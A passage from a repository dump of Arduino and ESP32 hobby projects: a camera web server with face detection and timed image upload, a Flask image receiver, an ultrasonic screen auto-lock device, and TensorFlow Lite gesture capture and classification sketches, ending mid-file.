503 |     else if(!strcmp(variable, "agc_gain")) res = s->set_agc_gain(s, val);
504 |     else if(!strcmp(variable, "aec_value")) res = s->set_aec_value(s, val);
505 |     else if(!strcmp(variable, "aec2")) res = s->set_aec2(s, val);
506 |     else if(!strcmp(variable, "dcw")) res = s->set_dcw(s, val);
507 |     else if(!strcmp(variable, "bpc")) res = s->set_bpc(s, val);
508 |     else if(!strcmp(variable, "wpc")) res = s->set_wpc(s, val);
509 |     else if(!strcmp(variable, "raw_gma")) res = s->set_raw_gma(s, val);
510 |     else if(!strcmp(variable, "lenc")) res = s->set_lenc(s, val);
511 |     else if(!strcmp(variable, "special_effect")) res = s->set_special_effect(s, val);
512 |     else if(!strcmp(variable, "wb_mode")) res = s->set_wb_mode(s, val);
513 |     else if(!strcmp(variable, "ae_level")) res = s->set_ae_level(s, val);
514 |     else if(!strcmp(variable, "face_detect")) {
515 |         detection_enabled = val;
516 |         if(!detection_enabled) {
517 |             recognition_enabled = 0;
518 |         }
519 |     }
520 |     else if(!strcmp(variable, "face_enroll")) is_enrolling = val;
521 |     else if(!strcmp(variable, "face_recognize")) {
522 |         recognition_enabled = val;
523 |         if(recognition_enabled){
524 |             detection_enabled = val;
525 |         }
526 |     }
527 |     else {
528 |         res = -1;
529 |     }
530 | 
531 |     if(res){
532 |         return httpd_resp_send_500(req);
533 |     }
534 | 
535 |     httpd_resp_set_hdr(req, "Access-Control-Allow-Origin", "*");
536 |     return httpd_resp_send(req, NULL, 0);
537 | }
538 | 
539 | static esp_err_t status_handler(httpd_req_t *req){
540 |     static char json_response[1024];
541 | 
542 |     sensor_t * s = esp_camera_sensor_get();
543 |     char * p = json_response;
544 |     *p++ = '{';
545 | 
546 |     p+=sprintf(p, "\"framesize\":%u,", s->status.framesize);
547 |     p+=sprintf(p, "\"quality\":%u,", s->status.quality);
548 |     p+=sprintf(p, "\"brightness\":%d,", s->status.brightness);
549 |     p+=sprintf(p, "\"contrast\":%d,", s->status.contrast);
550 |     p+=sprintf(p, "\"saturation\":%d,", s->status.saturation);
551 |     p+=sprintf(p, "\"sharpness\":%d,", s->status.sharpness);
552 |     p+=sprintf(p, "\"special_effect\":%u,", s->status.special_effect);
553 |     p+=sprintf(p, "\"wb_mode\":%u,", s->status.wb_mode);
554 |     p+=sprintf(p, "\"awb\":%u,", s->status.awb);
555 |     p+=sprintf(p, "\"awb_gain\":%u,", s->status.awb_gain);
556 |     p+=sprintf(p, "\"aec\":%u,", s->status.aec);
557 |     p+=sprintf(p, "\"aec2\":%u,", s->status.aec2);
558 |     p+=sprintf(p, "\"ae_level\":%d,", s->status.ae_level);
559 |     p+=sprintf(p, "\"aec_value\":%u,", s->status.aec_value);
560 |     p+=sprintf(p, "\"agc\":%u,", s->status.agc);
561 |     p+=sprintf(p, "\"agc_gain\":%u,", s->status.agc_gain);
562 |     p+=sprintf(p, "\"gainceiling\":%u,", s->status.gainceiling);
563 |     p+=sprintf(p, "\"bpc\":%u,", s->status.bpc);
564 |     p+=sprintf(p, "\"wpc\":%u,", s->status.wpc);
565 |     p+=sprintf(p, "\"raw_gma\":%u,", s->status.raw_gma);
566 |     p+=sprintf(p, "\"lenc\":%u,", s->status.lenc);
567 |     p+=sprintf(p, "\"vflip\":%u,", s->status.vflip);
568 |     p+=sprintf(p, "\"hmirror\":%u,", s->status.hmirror);
569 |     p+=sprintf(p, "\"dcw\":%u,", s->status.dcw);
570 |     p+=sprintf(p, "\"colorbar\":%u,", s->status.colorbar);
571 |     p+=sprintf(p, "\"face_detect\":%u,", detection_enabled);
572 |     p+=sprintf(p, "\"face_enroll\":%u,", is_enrolling);
573 |     p+=sprintf(p, "\"face_recognize\":%u", recognition_enabled);
574 |     *p++ = '}';
575 |     *p++ = 0;
576 |     httpd_resp_set_type(req, "application/json");
577 |     httpd_resp_set_hdr(req, "Access-Control-Allow-Origin", "*");
578 |     return httpd_resp_send(req, json_response, strlen(json_response));
579 | }
580 | 
581 | static esp_err_t index_handler(httpd_req_t *req){
582 |     httpd_resp_set_type(req, "text/html");
583 |     httpd_resp_set_hdr(req, "Content-Encoding", "gzip");
584 |     sensor_t * s = esp_camera_sensor_get();
585 |     if (s->id.PID == OV3660_PID) {
586 |         return httpd_resp_send(req, (const char *)index_ov3660_html_gz, index_ov3660_html_gz_len);
587 |     }
588 |     return httpd_resp_send(req, (const char *)index_ov2640_html_gz, index_ov2640_html_gz_len);
589 | }
590 | 
591 | void startCameraServer(){
592 |     httpd_config_t config = HTTPD_DEFAULT_CONFIG();
593 | 
594 |     httpd_uri_t index_uri = {
595 |         .uri       = "/",
596 |         .method    = HTTP_GET,
597 |         .handler   = index_handler,
598 |         .user_ctx  = NULL
599 |     };
600 | 
601 |     httpd_uri_t status_uri = {
602 |         .uri       = "/status",
603 |         .method    = HTTP_GET,
604 |         .handler   = status_handler,
605 |         .user_ctx  = NULL
606 |     };
607 | 
608 |     httpd_uri_t cmd_uri = {
609 |         .uri       = "/control",
610 |         .method    = HTTP_GET,
611 |         .handler   = cmd_handler,
612 |         .user_ctx  = NULL
613 |     };
614 | 
615 |     httpd_uri_t capture_uri = {
616 |         .uri       = "/capture",
617 |         .method    = HTTP_GET,
618 |         .handler   = capture_handler,
619 |         .user_ctx  = NULL
620 |     };
621 | 
622 |    httpd_uri_t stream_uri = {
623 |         .uri       = "/stream",
624 |         .method    = HTTP_GET,
625 |         .handler   = stream_handler,
626 |         .user_ctx  = NULL
627 |     };
628 | 
629 | 
630 |     ra_filter_init(&ra_filter, 20);
631 |     
632 |     mtmn_config.type = FAST;
633 |     mtmn_config.min_face = 80;
634 |     mtmn_config.pyramid = 0.707;
635 |     mtmn_config.pyramid_times = 4;
636 |     mtmn_config.p_threshold.score = 0.6;
637 |     mtmn_config.p_threshold.nms = 0.7;
638 |     mtmn_config.p_threshold.candidate_number = 20;
639 |     mtmn_config.r_threshold.score = 0.7;
640 |     mtmn_config.r_threshold.nms = 0.7;
641 |     mtmn_config.r_threshold.candidate_number = 10;
642 |     mtmn_config.o_threshold.score = 0.7;
643 |     mtmn_config.o_threshold.nms = 0.7;
644 |     mtmn_config.o_threshold.candidate_number = 1;
645 |     
646 |     face_id_init(&id_list, FACE_ID_SAVE_NUMBER, ENROLL_CONFIRM_TIMES);
647 |     
648 |     Serial.printf("Starting web server on port: '%d'\n", config.server_port);
649 |     if (httpd_start(&camera_httpd, &config) == ESP_OK) {
650 |         httpd_register_uri_handler(camera_httpd, &index_uri);
651 |         httpd_register_uri_handler(camera_httpd, &cmd_uri);
652 |         httpd_register_uri_handler(camera_httpd, &status_uri);
653 |         httpd_register_uri_handler(camera_httpd, &capture_uri);
654 |     }
655 | 
656 |     config.server_port += 1;
657 |     config.ctrl_port += 1;
658 |     Serial.printf("Starting stream server on port: '%d'\n", config.server_port);
659 |     if (httpd_start(&stream_httpd, &config) == ESP_OK) {
660 |         httpd_register_uri_handler(stream_httpd, &stream_uri);
661 |     }
662 | }
663 | 
--------------------------------------------------------------------------------
/projects/camera_web_upload/camera_pins.h:
--------------------------------------------------------------------------------
  1 | 
  2 | #if defined(CAMERA_MODEL_WROVER_KIT)
  3 | #define PWDN_GPIO_NUM    -1
  4 | #define RESET_GPIO_NUM   -1
  5 | #define XCLK_GPIO_NUM    21
  6 | #define SIOD_GPIO_NUM    26
  7 | #define SIOC_GPIO_NUM    27
  8 | 
  9 | #define Y9_GPIO_NUM      35
 10 | #define Y8_GPIO_NUM      34
 11 | #define Y7_GPIO_NUM      39
 12 | #define Y6_GPIO_NUM      36
 13 | #define Y5_GPIO_NUM      19
 14 | #define Y4_GPIO_NUM      18
 15 | #define Y3_GPIO_NUM       5
 16 | #define Y2_GPIO_NUM       4
 17 | #define VSYNC_GPIO_NUM   25
 18 | #define HREF_GPIO_NUM    23
 19 | #define PCLK_GPIO_NUM    22
 20 | 
 21 | #elif defined(CAMERA_MODEL_ESP_EYE)
 22 | #define PWDN_GPIO_NUM    -1
 23 | #define RESET_GPIO_NUM   -1
 24 | #define XCLK_GPIO_NUM    4
 25 | #define SIOD_GPIO_NUM    18
 26 | #define SIOC_GPIO_NUM    23
 27 | 
 28 | #define Y9_GPIO_NUM      36
 29 | #define Y8_GPIO_NUM      37
 30 | #define Y7_GPIO_NUM      38
 31 | #define Y6_GPIO_NUM      39
 32 | #define Y5_GPIO_NUM      35
 33 | #define Y4_GPIO_NUM      14
 34 | #define Y3_GPIO_NUM      13
 35 | #define Y2_GPIO_NUM      34
 36 | #define VSYNC_GPIO_NUM   5
 37 | #define HREF_GPIO_NUM    27
 38 | #define PCLK_GPIO_NUM    25
 39 | 
 40 | #elif defined(CAMERA_MODEL_M5STACK_PSRAM)
 41 | #define PWDN_GPIO_NUM     -1
 42 | #define RESET_GPIO_NUM    15
 43 | #define XCLK_GPIO_NUM     27
 44 | #define SIOD_GPIO_NUM     25
 45 | #define SIOC_GPIO_NUM     23
 46 | 
 47 | #define Y9_GPIO_NUM       19
 48 | #define Y8_GPIO_NUM       36
 49 | #define Y7_GPIO_NUM       18
 50 | #define Y6_GPIO_NUM       39
 51 | #define Y5_GPIO_NUM        5
 52 | #define Y4_GPIO_NUM       34
 53 | #define Y3_GPIO_NUM       35
 54 | #define Y2_GPIO_NUM       32
 55 | #define VSYNC_GPIO_NUM    22
 56 | #define HREF_GPIO_NUM     26
 57 | #define PCLK_GPIO_NUM     21
 58 | 
 59 | #elif defined(CAMERA_MODEL_M5STACK_WIDE)
 60 | #define PWDN_GPIO_NUM     -1
 61 | #define RESET_GPIO_NUM    15
 62 | #define XCLK_GPIO_NUM     27
 63 | #define SIOD_GPIO_NUM     22
 64 | #define SIOC_GPIO_NUM     23
 65 | 
 66 | #define Y9_GPIO_NUM       19
 67 | #define Y8_GPIO_NUM       36
 68 | #define Y7_GPIO_NUM       18
 69 | #define Y6_GPIO_NUM       39
 70 | #define Y5_GPIO_NUM        5
 71 | #define Y4_GPIO_NUM       34
 72 | #define Y3_GPIO_NUM       35
 73 | #define Y2_GPIO_NUM       32
 74 | #define VSYNC_GPIO_NUM    25
 75 | #define HREF_GPIO_NUM     26
 76 | #define PCLK_GPIO_NUM     21
 77 | 
 78 | #elif defined(CAMERA_MODEL_AI_THINKER)
 79 | #define PWDN_GPIO_NUM     32
 80 | #define RESET_GPIO_NUM    -1
 81 | #define XCLK_GPIO_NUM      0
 82 | #define SIOD_GPIO_NUM     26
 83 | #define SIOC_GPIO_NUM     27
 84 | 
 85 | #define Y9_GPIO_NUM       35
 86 | #define Y8_GPIO_NUM       34
 87 | #define Y7_GPIO_NUM       39
 88 | #define Y6_GPIO_NUM       36
 89 | #define Y5_GPIO_NUM       21
 90 | #define Y4_GPIO_NUM       19
 91 | #define Y3_GPIO_NUM       18
 92 | #define Y2_GPIO_NUM        5
 93 | #define VSYNC_GPIO_NUM    25
 94 | #define HREF_GPIO_NUM     23
 95 | #define PCLK_GPIO_NUM     22
 96 | 
 97 | #else
 98 | #error "Camera model not selected"
 99 | #endif
100 | 
--------------------------------------------------------------------------------
/projects/camera_web_upload/camera_web_upload.ino:
--------------------------------------------------------------------------------
  1 | #include "esp_camera.h"
  2 | #include "esp_http_client.h"
  3 | #include 
  4 | 
  5 | #define CAMERA_MODEL_AI_THINKER
  6 | #define PICTURE_INTERVAL_MS 10000
  7 | #include "camera_pins.h"
  8 | 
  9 | const char* ssid = "wifi_network_name";
 10 | const char* password = "wifi_password";
 11 | const char* uploadUrl = "http://endpoint_url";
 12 | 
 13 | void startCameraServer();
 14 | 
 15 | esp_http_client_config_t httpConfig = {
 16 |   .url = uploadUrl,
 17 | };
 18 | void setup() {
 19 |     Serial.begin(115200);
 20 |     Serial.println("begin setup");
 21 |     delay(1000);
 22 |     camera_config_t config;
 23 |     config.ledc_channel = LEDC_CHANNEL_0;
 24 |     config.ledc_timer = LEDC_TIMER_0;
 25 |     config.pin_d0 = Y2_GPIO_NUM;
 26 |     config.pin_d1 = Y3_GPIO_NUM;
 27 |     config.pin_d2 = Y4_GPIO_NUM;
 28 |     config.pin_d3 = Y5_GPIO_NUM;
 29 |     config.pin_d4 = Y6_GPIO_NUM;
 30 |     config.pin_d5 = Y7_GPIO_NUM;
 31 |     config.pin_d6 = Y8_GPIO_NUM;
 32 |     config.pin_d7 = Y9_GPIO_NUM;
 33 |     config.pin_xclk = XCLK_GPIO_NUM;
 34 |     config.pin_pclk = PCLK_GPIO_NUM;
 35 |     config.pin_vsync = VSYNC_GPIO_NUM;
 36 |     config.pin_href = HREF_GPIO_NUM;
 37 |     config.pin_sscb_sda = SIOD_GPIO_NUM;
 38 |     config.pin_sscb_scl = SIOC_GPIO_NUM;
 39 |     config.pin_pwdn = PWDN_GPIO_NUM;
 40 |     config.pin_reset = RESET_GPIO_NUM;
 41 |     config.xclk_freq_hz = 20000000;
 42 |     config.pixel_format = PIXFORMAT_JPEG;
 43 |     //init with high specs to pre-allocate larger buffers
 44 |     if(psramFound()){
 45 |         config.frame_size = FRAMESIZE_UXGA;
 46 |         config.jpeg_quality = 10;
 47 |         config.fb_count = 2;
 48 |     } else {
 49 |         config.frame_size = FRAMESIZE_SVGA;
 50 |         config.jpeg_quality = 12;
 51 |         config.fb_count = 1;
 52 |     }
 53 |     esp_err_t err = esp_camera_init(&config);
 54 |     if (err != ESP_OK) {
 55 |       Serial.printf("Camera init failed with error 0x%x", err);
 56 |       return;
 57 |     }
 58 |   
 59 |     sensor_t * s = esp_camera_sensor_get();
 60 |     //initial sensors are flipped vertically and colors are a bit saturated
 61 |     if (s->id.PID == OV3660_PID) {
 62 |       s->set_vflip(s, 1);//flip it back
 63 |       s->set_brightness(s, 1);//up the blightness just a bit
 64 |       s->set_saturation(s, -2);//lower the saturation
 65 |     }
 66 |     //drop down frame size for higher initial frame rate
 67 |     s->set_framesize(s, FRAMESIZE_QVGA);
 68 |   
 69 |     WiFi.begin(ssid, password);
 70 |   
 71 |     while (WiFi.status() != WL_CONNECTED) {
 72 |       delay(500);
 73 |       Serial.print(".");
 74 |     }
 75 |     Serial.println("");
 76 |     Serial.println("WiFi connected");
 77 |     startCameraServer();
 78 |     Serial.print("Camera Ready! Use 'http://");
 79 |     Serial.print(WiFi.localIP());
 80 | }
 81 | 
 82 | void loop() {
 83 |     delay(PICTURE_INTERVAL_MS);
 84 |     camera_fb_t *fb = NULL;
 85 |     esp_err_t res = ESP_OK;
 86 |     fb = esp_camera_fb_get();
 87 |     if (!fb){
 88 |       Serial.println("Camera capture failed");
 89 |       esp_camera_fb_return(fb);
 90 |       return;
 91 |     }
 92 |     if (fb->format != PIXFORMAT_JPEG){
 93 |       Serial.println("Non-JPEG data not implemented");
 94 |       return;
 95 |     }
 96 |     upload(fb);
 97 | 
 98 |     esp_camera_fb_return(fb);
 99 | }
100 | 
101 | void upload(camera_fb_t *fb) {      
102 |     esp_http_client_handle_t httpClient = esp_http_client_init(&httpConfig);
103 |     esp_http_client_set_post_field(httpClient, (const char *)fb->buf, fb->len);
104 |     esp_http_client_set_method(httpClient, HTTP_METHOD_POST);
105 |     esp_http_client_set_header(httpClient, "Content-type", "application/octet-stream");
106 |     esp_err_t clientError = esp_http_client_perform(httpClient);
107 |     if (clientError == ESP_OK)
108 |       Serial.println("Frame uploaded");
109 |     else
110 |       Serial.printf("Failed to upload frame, error %d\r\n", clientError);
111 |     
112 |     esp_http_client_cleanup(httpClient);
113 | }
114 | 
--------------------------------------------------------------------------------
/projects/camera_web_upload/test.py:
--------------------------------------------------------------------------------
 1 | from flask import Flask, request, Response
 2 | import numpy as np
 3 | import cv2
 4 | 
 5 | app = Flask(__name__)
 6 | 
 7 | 
 8 | # route http posts to this method
 9 | @app.route('/api/test', methods=['POST'])
10 | def test():
11 |     r = request
12 |     # convert string of image data to uint8
13 |     nparr = np.fromstring(r.data, np.uint8)
14 |     # decode image
15 |     img = cv2.imdecode(nparr, cv2.IMREAD_COLOR)
16 |     cv2.imwrite("file_location.jpg", img)
17 | 
18 |     # build a response dict to send back to client
19 |     response = {'message': 'image received. size={}x{}'.format(img.shape[1], img.shape[0])}
20 |     print(response)
21 | 
22 |     return Response(response="ok", status=200, mimetype="application/json")
23 | 
24 | 
25 | app.run(host="0.0.0.0", port=5000)
--------------------------------------------------------------------------------
/projects/computer_auto_lock/computer_auto_lock.ino:
--------------------------------------------------------------------------------
  1 | /* 
  2 |  *  Libraries used by this project:
  3 |  *  
  4 |  *  GOFi2cOLED: https://github.com/hramrach/GOFi2cOLED
  5 |  *  Ultrasonic-HC-SR04: https://github.com/JRodrigoTech/Ultrasonic-HC-SR04
  6 |  */
  7 | #include "Keyboard.h"
  8 | #include "Wire.h"
  9 | #include "GOFi2cOLED.h"
 10 | #include "Ultrasonic.h"
 11 | 
 12 | 
 13 | GOFi2cOLED GOFoled;
 14 | Ultrasonic ultrasonic(12,13);
 15 | 
 16 | const byte distancePot = A0;
 17 | const byte timerPot = A1;
 18 | const float percentMaxDistanceChangedAllowed = 25;
 19 | int actualDistance;
 20 | unsigned long maxDistanceDetectionTime;
 21 | bool lockTimerStarted = false;
 22 | 
 23 | void setup() 
 24 | {
 25 |   Serial.begin(9600);
 26 |   Keyboard.begin();
 27 |   initializeDisplay();
 28 | }
 29 | 
 30 | void loop() 
 31 | {
 32 |   clearDisplay();
 33 |   actualDistance = getActualDistance();
 34 |   writeStatusData();
 35 |   doDisplay();
 36 |   if (!lockTimerStarted && shouldEnableLockTimer()) {
 37 |      lockTimerStarted = true;
 38 |      maxDistanceDetectionTime = millis();
 39 |      Serial.println("lock timer begin");
 40 |   } else if (!shouldEnableLockTimer()){
 41 |      Serial.println("lock timer disabled");
 42 |      lockTimerStarted = false;
 43 |   }
 44 |   if (shouldLockScreen()) {
 45 |      lockScreen();
 46 |      Serial.println("Lock screen");
 47 |   }
 48 |   delay(100);
 49 | }
 50 | 
 51 | bool shouldLockScreen()
 52 | {
 53 |    return lockTimerStarted && (millis() - maxDistanceDetectionTime) / 1000 > getTimer();
 54 | }
 55 | 
 56 | bool shouldEnableLockTimer()
 57 | {
 58 |    int allowedDistance = percentMaxDistanceChangedAllowed / 100 * getDistance();
 59 |    
 60 |    return getTimer() > 1 && getDistance() > 1 && actualDistance - getDistance() > allowedDistance;
 61 | }
 62 | 
 63 | void writeStatusData()
 64 | {
 65 |     setDisplayText(1, "MinDistance:", String(getDistance())); 
 66 |     setDisplayText(1, "Timer:", String(getTimer()));
 67 |     setDisplayText(1, "ActualDistance:", String(actualDistance));
 68 |     int countDown = getTimer() - (millis() - maxDistanceDetectionTime) / 1000;
 69 |     String message = "";
 70 |     if (shouldLockScreen()) {
 71 |        message = "lock sent";
 72 |     } else if (shouldEnableLockTimer() && countDown >= 0) {
 73 |        message = ".." + String(countDown);
 74 |     } else {
 75 |       message = "no";
 76 |     }
 77 |     setDisplayText(1, "Locking: ", message);
 78 | }
 79 | 
 80 | void initializeDisplay()
 81 | {
 82 |   GOFoled.init(0x3C); 
 83 |   GOFoled.clearDisplay();
 84 |   GOFoled.setCursor(0, 0);
 85 | }
 86 | 
 87 | void setDisplayText(byte fontSize, String label, String data)
 88 | {
 89 |   GOFoled.setTextSize(fontSize);
 90 |   GOFoled.println(label + ":" + data);
 91 | }
 92 | 
 93 | void doDisplay()
 94 | { 
 95 |   GOFoled.display();
 96 | }
 97 | 
 98 | void clearDisplay()
 99 | {
100 |    GOFoled.clearDisplay();
101 |    GOFoled.setCursor(0, 0);
102 | }
103 | 
104 | int getActualDistance()
105 | {
106 |     int distanceSum = 0;
107 |     for (byte i=0;i<10;i++) {
108 |         distanceSum += ultrasonic.Ranging(CM);
109 |     }
110 | 
111 |     return distanceSum / 10;
112 | }
113 | 
114 | int getDistance()
115 | {
116 |   return map(analogRead(timerPot), 0, 1024, 0, 200);
117 | }
118 | 
119 | int getTimer()
120 | {
121 |   return map(analogRead(distancePot), 0, 1024, 0, 20);
122 | }
123 | 
124 | void lockScreen()
125 | {
126 |     Serial.println("pressing");
127 |     Keyboard.press(KEY_LEFT_CTRL);
128 |     delay(10);
129 |     Keyboard.press(KEY_LEFT_ALT);
130 |     delay(10);
131 |     Keyboard.write('l');
132 |     delay(10);
133 |     Keyboard.releaseAll();  
134 | }
135 | 
136 | 
--------------------------------------------------------------------------------
/projects/computer_auto_lock/sketch.fzz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/computer_auto_lock/sketch.fzz
--------------------------------------------------------------------------------
/projects/computer_auto_lock/sketch_bb.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/computer_auto_lock/sketch_bb.jpg
--------------------------------------------------------------------------------
/projects/gesture_capture/gesture_capture.ino:
--------------------------------------------------------------------------------
  1 | /*
  2 | *  This example uses the on-board IMU to start reading acceleration and gyroscope
  3 | *  data from on-board IMU and prints it to the Serial Monitor for one second
  4 | *  when the significant motion is detected, it also logs the data to a SD card
  5 | *  Saves each gesture data to a SD card in a separate file "1.csv", "2.csv" etc
  6 | *  based on example from https://github.com/arduino/ArduinoTensorFlowLiteTutorials
  7 | *  To record the next gesture swipe right with your hand in front of the board, it uses
  8 | *  the on board gesture detector to detect GESTURE_RIGHT and to record in the next csv file
  9 | *  
 10 | * PINOUT
 11 | * 
 12 | * CARD READER 5V variant
 13 | * MOSI   -  pin 11  
 14 | * MISO   -  pin 12
 15 | * CLK    -  pin 13
 16 | * CS     -  pin 4
 17 | * GND    -  GND
 18 | * VCC    -  VIN
 19 | * 
 20 | * LED
 21 | * D2     -  pin through a 220ohms resistor
 22 | * GND    -  GND
 23 | */
 24 | 
 25 | #include 
 26 | #include 
 27 | #include 
 28 | #include 
 29 | 
 30 | const float accelerationThreshold = 1.9; // threshold of significant in G's
 31 | const int numSamples = 119;
 32 | const int sdChipSelect = 4;
 33 | const int ledPin = 2;
 34 | 
 35 | int samplesRead = numSamples;
 36 | int currentGesture;
 37 | byte gestureNr = 1;
 38 | byte fileNr = 1;
 39 | byte printBufferCursor = 0;
 40 | String printBuffer[9] = {};
 41 | File datafile;
 42 | 
 43 | 
 44 | void setup() {
 45 |     Serial.begin(9600);
 46 |     while (!Serial); // comment this line when the device is not connected with the USB cable to the computer
 47 |     if (!IMU.begin()) {
 48 |         Serial.println("Failed to initialize IMU!");
 49 |         while (1000);
 50 |     }
 51 |     if (!SD.begin(sdChipSelect)) {
 52 |         Serial.println("Card failed, or not present");
 53 |         while (1000);
 54 |     }
 55 |     if (!APDS.begin()) {
 56 |        Serial.println("Error initializing APDS9960 sensor.");
 57 |        while (1000); // Stop forever
 58 |     }    
 59 |     pinMode(ledPin, OUTPUT);
 60 |     //remove files on card
 61 |     for (byte i=0;i<=10;i++) {
 62 |         SD.remove(String(i) + ".csv");
 63 |     }
 64 |     prepareNextFile();
 65 | }
 66 | 
 67 | void loop() {
 68 |     float aX, aY, aZ, gX, gY, gZ;
 69 | 
 70 |     // wait for significant motion
 71 |     while (samplesRead == numSamples) {
 72 |         if (!IMU.accelerationAvailable()) {
 73 |             break;
 74 |         }
 75 |         IMU.readAcceleration(aX, aY, aZ);
 76 |         // sum up the absolutes
 77 |         float aSum = fabs(aX) + fabs(aY) + fabs(aZ);
 78 |         processGesture();
 79 |         // if it's above the threshold reset the sample read count
 80 |         if (aSum >= accelerationThreshold) {
 81 |             samplesRead = 0;
 82 |             digitalWrite(ledPin, HIGH);
 83 |             break;
 84 |         }        
 85 |     }
 86 |   
 87 |     // check if the all the required samples have been read since
 88 |     // the last time the significant motion was detected
 89 |     while (samplesRead < numSamples) {
 90 |         if (!(IMU.accelerationAvailable() && IMU.gyroscopeAvailable())) {
 91 |             break;
 92 |         }
 93 |         processGesture();
 94 |         IMU.readAcceleration(aX, aY, aZ);
 95 |         IMU.readGyroscope(gX, gY, gZ);
 96 |         samplesRead++;
 97 |         print(String(aX, 3) + "," + String(aY, 3) + "," + String(aZ, 3) + "," + String(gX, 3) + "," + String(gY, 3) + "," + String(gZ, 3) + "\n");
 98 |         if (samplesRead == numSamples) { // if nr of samplex is aquired print a newline and flush to sd card
 99 |             print("\n");
100 |             flushToSdCard();
101 |             gestureNr++;
102 |             digitalWrite(ledPin, LOW);
103 |             Serial.println("Waiting for gesture nr " + String(gestureNr));            
104 |         }
105 |     }   
106 | }
107 | 
108 | void print(String data) {    
109 |     Serial.print(data);
110 |     printBuffer[printBufferCursor] += data;
111 |     if (printBuffer[printBufferCursor].length() > 1000) {
112 |         printBufferCursor++;
113 |     }
114 | }
115 | 
116 | void flushToSdCard() {
117 |      for(byte i = 0;i<=printBufferCursor;i++) {
118 |         datafile.print(printBuffer[i]);
119 |      }
120 |      for(byte i = 0;i<=printBufferCursor;i++) {
121 |         printBuffer[i] = "";
122 |      }
123 |      printBufferCursor = 0;
124 | }
125 | 
126 | /**
127 |  * If the file is open closes current datafile
128 |  * create new file 1.csv then 2.csv etc
129 |  * append CSV header to it
130 |  */
131 | void prepareNextFile() {    
132 |     Serial.println("Writng to file: " + String(fileNr) + ".csv");
133 |     if (datafile) {
134 |         Serial.println("closing datafile");
135 |         datafile.close();
136 |         delay(100);
137 |     }
138 |     datafile = SD.open(String(fileNr) + ".csv", FILE_WRITE);
139 |     delay(100);
140 |     print("aX,aY,aZ,gX,gY,gZ\n");
141 |     fileNr++;
142 |     gestureNr = 0;
143 |     Serial.println("Waiting for gesture nr " + String(gestureNr));  
144 | }
145 | 
146 | /**
147 |  * Check if right gesture is available switch to the next file
148 |  * also flashes the led two times
149 |  */
150 | void processGesture() {
151 |     if (!APDS.gestureAvailable()) {
152 |         return;
153 |     }
154 |     if (APDS.readGesture() == GESTURE_RIGHT) {
155 |         digitalWrite(ledPin, HIGH);
156 |         delay(150);
157 |         digitalWrite(ledPin, LOW);
158 |         delay(150);
159 |         digitalWrite(ledPin, HIGH);
160 |         delay(300);
161 |         digitalWrite(ledPin, LOW);        
162 |         prepareNextFile();
163 |     }
164 | }
165 | 
--------------------------------------------------------------------------------
/projects/gesture_classifier/gesture_classifier.ino:
--------------------------------------------------------------------------------
  1 | /**
  2 |  * Detects gestures that wore previously trained with gesture_capture.ino
  3 |  * After an accelerationThreshold is reached, the sketch begin recording numSamples (119)
  4 |  * and then feeds in into TensorFlowLite to predict the gesture.
  5 |  * The LED is used to signal that the sketch is recording a gesture
  6 |  * If you want to use your own trained data, replace #include "digits_model.h" with your own, then replace const char* GESTURES[] 
  7 |  * with your own trained gestures
  8 |  *                           
  9 |  * Arduino IDE vs: 1.8.12
 10 |  * 
 11 |  * Libraries: 
 12 |  * Arduino_LSM9DS1 (version 1.0.0)
 13 |  * TensorFlowLite (version 2.1.0 ALPHA precompiled)
 14 |  * ArduinoBLE (version 1.1.3)
 15 |  * 
 16 |  * Board version in arduino IDE:
 17 |  * Arduino mbed-enabled board vs 1.1.6 (tested with this version, does not work with other versions)
 18 |  * 
 19 |  * PINOUT
 20 |  * 
 21 |  * LED
 22 |  * D2     -  pin through a 220ohms resistor
 23 |  * GND    -  GND
 24 |  * 
 25 |  * Trained models:
 26 |  * digits_model.h -> uses gestures 0,1,2,3,4 (draw it in the air)
 27 |  * remote1.mode.h -> uses gestures cw,ccw,fwd (clockwise, counter clockwise, forward in the air)
 28 |  */
 29 | #include 
 30 | #include 
 31 | #include 
 32 | #include 
 33 | #include 
 34 | #include 
 35 | #include 
 36 | #include 
 37 | 
 38 | #include "remote1_model.h"
 39 | 
 40 | const float accelerationThreshold = 1.9; // threshold of significant in G's
 41 | const int numSamples = 119;
 42 | const int ledPin = 2;
 43 | 
 44 | int samplesRead = numSamples;
 45 | 
 46 | // global variables used for TensorFlow Lite (Micro)
 47 | tflite::MicroErrorReporter tflErrorReporter;
 48 | tflite::AllOpsResolver tflOpsResolver;
 49 | 
 50 | const tflite::Model* tflModel = nullptr;
 51 | tflite::MicroInterpreter* tflInterpreter = nullptr;
 52 | TfLiteTensor* tflInputTensor = nullptr;
 53 | TfLiteTensor* tflOutputTensor = nullptr;
 54 | constexpr int tensorArenaSize = 8 * 1024;
 55 | byte tensorArena[tensorArenaSize];
 56 | 
 57 | BLEService gestureService("19B10000-E8F2-537E-4F6C-D104768A1214"); 
 58 | // BLE LED Switch Characteristic - custom 128-bit UUID, read 
 59 | BLEByteCharacteristic gestureCharacteristic("19B10001-E8F2-537E-4F6C-D104768A1214", BLERead | BLENotify);
 60 | BLEDevice centralBLE;
 61 | 
 62 | // array to map gesture index to a name
 63 | const char* GESTURES[] = {
 64 |   "cw", "ccw", "fwd" 
 65 | };
 66 | 
 67 | #define NUM_GESTURES (sizeof(GESTURES) / sizeof(GESTURES[0]))
 68 | 
 69 | 
 70 | void setup() {
 71 |     Serial.begin(9600);
 72 |     while (!Serial); // comment this line if you're running without the USB cable  
 73 |     if (!IMU.begin()) {
 74 |         Serial.println("Failed to initialize IMU!");
 75 |         while (1);
 76 |     }
 77 |   
 78 |     // print out the samples rates of the IMUs
 79 |     Serial.print("Accelerometer sample rate = ");
 80 |     Serial.print(IMU.accelerationSampleRate());
 81 |     Serial.print("Gyroscope sample rate = ");
 82 |     Serial.print(IMU.gyroscopeSampleRate());
 83 |     Serial.println();
 84 |   
 85 |     // get the TFL representation of the model byte array
 86 |     tflModel = tflite::GetModel(model);
 87 |     if (tflModel->version() != TFLITE_SCHEMA_VERSION) {
 88 |         Serial.println("Model schema mismatch!");
 89 |         while (1);
 90 |     }
 91 |     // Create an interpreter to run the model
 92 |     tflInterpreter = new tflite::MicroInterpreter(tflModel, tflOpsResolver, tensorArena, tensorArenaSize, &tflErrorReporter);
 93 |     // Allocate memory for the model's input and output tensors
 94 |     tflInterpreter->AllocateTensors();
